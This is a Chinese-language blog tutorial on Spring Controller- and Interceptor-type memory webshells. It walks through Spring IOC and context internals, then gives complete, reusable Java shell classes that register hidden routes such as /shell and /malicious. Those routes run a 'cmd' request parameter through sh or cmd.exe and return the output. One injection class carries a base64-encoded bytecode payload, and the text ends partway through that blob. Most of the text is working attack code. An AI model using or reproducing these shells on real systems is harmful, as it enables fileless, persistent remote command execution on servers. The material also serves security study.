标签：分析 web Spring springframework 内存 import org servlet class

环境搭建

踩了很多坑....，不过还好最后还是成功了
IDEA直接新建javaEE项目，然后记得把index.jsp删了，不然DispatcherServlet会失效
导入依赖：

<dependencies>
      <dependency>
          <groupId>org.springframework</groupId>
          <artifactId>spring-webmvc</artifactId>
          <version>5.3.1</version>
      </dependency>
      <!-- 日志 -->
      <dependency>
          <groupId>ch.qos.logback</groupId>
          <artifactId>logback-classic</artifactId>
          <version>1.2.3</version>
      </dependency>
      <!-- ServletAPI -->
      <dependency>
          <groupId>javax.servlet</groupId>
          <artifactId>javax.servlet-api</artifactId>
          <version>3.1.0</version>
          <scope>provided</scope>
      </dependency>
      <!-- Spring5和Thymeleaf整合包 -->
      <dependency>
          <groupId>org.thymeleaf</groupId>
          <artifactId>thymeleaf-spring5</artifactId>
          <version>3.0.12.RELEASE</version>
      </dependency>

      <dependency>
          <groupId>javax.servlet</groupId>
          <artifactId>javax.servlet-api</artifactId>
          <version>4.0.1</version>
          <scope>provided</scope>
      </dependency>
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter-api</artifactId>
      <version>${junit.version}</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.junit.jupiter</groupId>
      <artifactId>junit-jupiter-engine</artifactId>
      <version>${junit.version}</version>
      <scope>test</scope>
    </dependency>
  </dependencies>

web.xml导入：

<servlet>
        <servlet-name>springmvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:/springmvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>springmvc</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

springmvc.xml，放在resource目录下：

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描组件 -->
    <context:component-scan base-package="com.example.springmemory.controller"></context:component-scan>
    <mvc:annotation-driven/>
    <!-- 配置Thymeleaf视图解析器 -->
    <bean id="viewResolver"
          class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
        <property name="order" value="1"/>
        <property name="characterEncoding" value="UTF-8"/>
        <property name="templateEngine">
            <bean class="org.thymeleaf.spring5.SpringTemplateEngine">
                <property name="templateResolver">
                    <bean
                            class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
                        <!-- 视图前缀 -->
                        <property name="prefix" value="/WEB-INF/templates/"/>
                        <!-- 视图后缀 -->
                        <property name="suffix" value=".html"/>
                        <property name="templateMode" value="HTML5"/>
                        <property name="characterEncoding" value="UTF-8" />
                    </bean>
                </property>
            </bean>
        </property>
    </bean>
</beans>

写一个测试Servlet：

package com.example.springmemory.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class HelloController {
    @RequestMapping("/")
    public String index(){
        return "index";
    }
}

启动tomcat服务，如果是/WEB-INF/templates/index.html的内容，说明配置成功，跳转位置可以根据个人习惯进行修改

Controller型内存马

简单介绍

Bean

Bean 是 Spring 框架的一个核心概念，它是构成应用程序的主干，并且是由 Spring IOC 容器负责实例化、配置、组装和管理的对象。

bean 是对象
bean 被 IOC 容器管理
Spring 应用主要是由一个个的 bean 构成的

IOC容器

如果一个系统有大量的组件（类），其生命周期和相互之间的依赖关系如果由组件自身来维护，不但大大增加了系统的复杂度，而且会导致组件之间极为紧密的耦合，继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IOC（又称为依赖注入）。由IOC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。

ApplicationContext

很眼熟，我们在分析Tomcat内存马的时候就提到过它，当时是代表Tomcat的容器。Spring 框架中，BeanFactory 接口是 Spring IOC容器的实际代表者，Spring容器就是ApplicationContext，它是一个接口继承于BeanFactory，有很多实现类。获得了ApplicationContext的实例，就获得了IOC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。
因此，org.springframework.context.ApplicationContext接口也代表了 IOC容器，它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

Root Context和Child Context

举个web.xml例子：

...
<servlet>
  <servlet-name>spring</servlet-name>
  <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  <init-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/springmvc.xml</param-value>
  </init-param>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>spring</servlet-name>
  <url-pattern>/</url-pattern>
</servlet-mapping>
...

这里我们将DispatcherServlet设置别名为spring，然后将contextConfigLocation参数值配置为/WEB-INF/springmvc.xml。依照规范，当没有显式配置contextConfigLocation时，程序会自动寻找 /WEB-INF/<servlet_name>-servlet.xml作为配置文件，上文的<servlet_name>是DispatcherServlet，所以若是没有显示配置contextConfigLocation的话，会去找/WEB-INF/DispatcherServlet-servlet.xml作为配置文件。
每个具体的DispatcherServlet创建的是一个Child Context，代表一个独立的 IOC 容器；而 ContextLoaderListener所创建的是一个Root Context，代表全局唯一的一个公共 IOC 容器.如果要访问和操作 bean ，一般要获得当前代码执行环境的IOC 容器代表者 ApplicationContext。

Spring 应用中可以同时有多个 Context，其中只有一个 Root Context，剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean，但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后，都会被作为一个属性添加到了ServletContext中

ContextLoaderListener

ContextLoaderListener主要被用来初始化全局唯一的Root Context，即Root WebApplicationContext。这个Root WebApplicationContext会和其他 Child Context 实例共享它的 IOC 容器，供其他 Child Context 获取并使用容器中的 bean。

构造思路

获取上下文环境context
动态注册controller
设置映射

获取Context的四种方法

getCurrentWebApplicationContext()

// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

WebApplicationContextUtils

// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦 
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

RequestContextUtils

// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

getAttribute

// 这种方式与前几种的思路就不太一样了，因为所有的Context在创建后，都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext 
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

Spring 2.5 到 Spring 3.1 之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器。
Spring 3.1 开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。因此也就有分开的2条思路来注册controller

registerMapping

在spring4后可以直接用registerMapping来直接注册controller，这个也是RequestMappingHandlerMapping中使用的方法

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

registerHandler

针对使用DefaultAnnotationHandlerMapping映射器的应用，可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping，在其中的registerHandler()方法中注册
了controller

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
		Assert.notNull(urlPath, "URL path must not be null");
		Assert.notNull(handler, "Handler object must not be null");
		Object resolvedHandler = handler;
 
		// Eagerly resolve handler if referencing singleton via name.
		if (!this.lazyInitHandlers && handler instanceof String) {
			String handlerName = (String) handler;
			ApplicationContext applicationContext = obtainApplicationContext();
			if (applicationContext.isSingleton(handlerName)) {
				resolvedHandler = applicationContext.getBean(handlerName);
			}
		}
 
		Object mappedHandler = this.handlerMap.get(urlPath);
		if (mappedHandler != null) {
			if (mappedHandler != resolvedHandler) {
				throw new IllegalStateException(
						"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
						"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
			}
		}
		else {
			if (urlPath.equals("/")) {
				if (logger.isTraceEnabled()) {
					logger.trace("Root mapping to " + getHandlerDescription(handler));
				}
				setRootHandler(resolvedHandler);
			}
			else if (urlPath.equals("/*")) {
				if (logger.isTraceEnabled()) {
					logger.trace("Default mapping to " + getHandlerDescription(handler));
				}
				setDefaultHandler(resolvedHandler);
			}
			else {
				this.handlerMap.put(urlPath, resolvedHandler);
				if (getPatternParser() != null) {
					this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
				}
				if (logger.isTraceEnabled()) {
					logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
				}
			}
		}
	}

urlPath和handler，这两者分别就是router和controller

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

detectHandlerMethods

针对使用RequestMappingHandlerMapping映射器的应用，可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping在其detectHandlerMethods()方法中注册了controller

protected void detectHandlerMethods(Object handler) {
    Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
    final Class<?> userType = ClassUtils.getUserClass(handlerType);
    Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
        public boolean matches(Method method) {
            return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
        }
    });
    Iterator var6 = methods.iterator();
    while(var6.hasNext()) {
        Method method = (Method)var6.next();
        T mapping = this.getMappingForMethod(method, userType);
        this.registerHandlerMethod(handler, method, mapping);
    }
}

context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

构造内存马

package com.example.springmemory.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class EvilController {
    @RequestMapping("/control")
    public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        System.out.println("i am in");
        //获取当前上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        //手动注册Controller
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
        Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        r.registerMapping(info, new Controller_Shell(), method);

    }

    public class Controller_Shell{
        public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    }
}

访问/control

虽然500，但没有影响，成功写入马子

注意

这个马子有版本限制，绕过方法可以参考
https://blog.csdn.net/mole_exp/article/details/123992395
这里给出另外两个马子，方便自己复习（

/**
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
 *   因此比 SpringControllerMemShell.java 更加通用
 *   Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell2 {

    public SpringControllerMemShell2() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringControllerMemShell2.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
                    .options(config)
                    .build();
            SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }

    public SpringControllerMemShell2(String aaa) {
    }

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
}

/**
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
 *   因此比 SpringControllerMemShell.java 更加通用
 *   Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell3 {

    public SpringControllerMemShell3() {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Method method2 = SpringControllerMemShell3.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

            Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
            getMappingForMethod.setAccessible(true);
            RequestMappingInfo info =
                    (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);

            SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }

    public SpringControllerMemShell3(String aaa) {
    }

    @RequestMapping("/malicious")
    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
}

Interceptor型内存马

环境搭建

准备一个自定义的Interceptor：

package com.example.springmemory.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

public class testfilter implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("prehandle");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("posthandle");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterhandle");
    }
}

最后准备一个controller

package com.example.springmemory.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class TestController {
    @RequestMapping("/normal")
    public String hello(){
        System.out.println("hello");
        return "hello";
    }
}

在springmvc.xml里注册一下拦截器

<mvc:interceptors>
        <mvc:interceptor>
            <!--            配置拦截器拦截路径-->
            <mvc:mapping path="/*"/>
            <!--            注入自定义拦截器-->
            <bean class="com.example.springmemory.interceptor.testfilter"/>
        </mvc:interceptor>
    </mvc:interceptors>

启动tomcat

组件触发顺序为Listen->Filter->Interceptor->controller

调试流程分析

intercepter处打个断点进行调试

在调用internalDoFilter之前都是和tomcat启动时是一样的，之后SpringBoot进入了doDispatch方法，这个在SpringMVC中提到过了，因为有一个中央控制器控制着所有其他控制器
进入doDispatch后随之又进入了getHandler方法：
跟进getHandler方法，来到另一个getHandler

跟进这个getHandler，来到getHandlerExecutionChain中

进入getHandlerExecutionChain，在这里面添加了我们的interceptor

内存马构造

构造思路

获取上下文context
创建恶意Interceptor
修改adaptedInterceptors属性来注册Interceptor

获取Context

这是一种上面没提到的方法

// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰，所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

LiveBeansView这个类是在spring3.2之后才添加进来的，因此在低版本这种方法是行不通的

反射获取adaptedInterceptors

这个属性是AbstractHandlerMapping类中的，因此想要获取它，首先需要获取AbstractHandlerMapping。
我们可以通过上下文先获取RequestMappingHandlerMapping1，再强制类型转换即可，RequestMappingHandlerMapping类的父类就是AbstractHandlerMapping，这个可以自己一层层点进去，会发现AbstractHandlerMapping几乎是所有Handler的父类，它直接实现了HandlerMapping接口

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

注册恶意Interceptor

package com.example.springmemory.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

public class testfilter implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        Runtime.getRuntime().exec(request.getParameter("cmd"));

        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("posthandle");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterhandle");
    }
}

完整POC

package com.example.springmemory.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import com.example.springmemory.interceptor.testfilter;

@Controller
public class InterceptorShell {
    @RequestMapping("/addinterceptor")
    public void shell() throws NoSuchFieldException, IllegalAccessException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
        java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        testfilter testfilter = new testfilter();
        adaptedInterceptors.add(testfilter);
    }
}

以上有点辣鸡，看下面的马

动态注册Interceptor

package com.exaple.spring;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

public class inject extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            String className = "com.example.spring.magicInterceptor";
            //加载com.example.spring.magicInterceptor类的字节码
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPO